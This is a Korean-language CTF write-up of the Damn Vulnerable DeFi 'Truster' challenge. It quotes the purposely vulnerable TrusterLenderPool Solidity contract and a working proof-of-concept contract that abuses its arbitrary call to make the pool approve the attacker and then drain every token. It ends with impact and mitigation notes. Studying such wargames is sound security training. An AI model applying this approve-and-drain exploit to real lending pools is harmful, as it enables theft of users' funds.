Damn Vulnerable DeFi-Truster
DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.
Summary
유저에게 받은 주소로 임의 함수 콜 실행이 가능하도록 구현되었다. 이를 악용하여 토큰 컨트랙트에게 approve 시킨 후 토큰을 탈취할 수 있다.
Keyword
theft, arbitrary contractcall
Vulnerability
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free. The pool holds 1 million DVT tokens. You have nothing. To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.
Fee 없이 Flash loan 기능을 제공하는 컨트랙트가 있다. 공격자는 DVT 토큰이 없다. 이 상태에서 풀에서 모든 토큰을 꺼내야 한다. 타겟으로 TrusterLenderPool 컨트랙트 코드를 준다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";
/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
DamnValuableToken public immutable token;
error RepayFailed();
constructor(DamnValuableToken _token) {
token = _token;
}
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
// @audit-issue 임의 코드 실행 가능한 부분.
// @audit target이 address(this) 라면? -> 재진입 방지로 막힌다.
// @audit target이 token이라면? => approve 시켜두면 balance 체크 넘어갈 수 있음
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
}flashLoan 함수에서는 수수료 없이 ERC20 토큰을 빌려준다. 토큰은 borrower 에게 빌려주고, 콜백은 target 주소의 컨트랙트를 실행한다. 마지막으로 컨트랙트의 balance를 확인하여 대금을 잘 갚았는지 확인한다.
이 때, 콜백에 주목하자. target.functionCall(data); 로 함수 콜 데이터를 날것으로 받아 실행한다. 즉, target 컨트랙트의 어떠한 함수든 호출이 가능하다.
어떤 컨트랙트의 어떤 함수를 호출하면 ERC20 토큰을 빼낼 수 있을까? 하지만 balance는 그대로여야 한다. 바로 approve 를 해두는 것이다.
다음은 PoC 컨트랙트와 테스트 코드이다.
import "./TrusterLenderPool.sol";
import "../DamnValuableToken.sol";
contract TrusterPoC {
constructor(TrusterLenderPool _pool, DamnValuableToken _token){
uint256 _amount = 1000000 ether;
bytes memory _data = abi.encodeWithSignature("approve(address,uint256)", address(this), _amount);
require(_pool.flashLoan(
_amount,
address(_pool), // pool 자신에게 보내어 balance 변화 없게 함
address(_token),
_data
), "Flash loan call failed");
_token.transferFrom(address(_pool), msg.sender, _amount);
}
}borrower 는 pool 자신으로 하여 pool의 balance의 변화가 없도록 한다.
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const TrusterPoCFactory = await ethers.getContractFactory('TrusterPoC', player);
await TrusterPoCFactory.deploy(pool.address, token.address);
});Impact
Pool 컨트랙트에게 임의의 컨트랙트콜을 시킬 수 있다. Pool 컨트랙트 소유의 토큰을 탈취한다.
Mitigation
유저가 자유롭게 주소와 함수를 선택해 실행할 수 있도록 하는 것은 매우 위험하므로 제한된 컨트랙트만을 허용하거나, 특정 함수만 호출하도록 강제한다. (ERC-3156을 준수한다.)
tags: writeup, blockchain, solidity, smart contract, erc20, erc3156, arbitrary contract call, flashloan, crypto theft, defi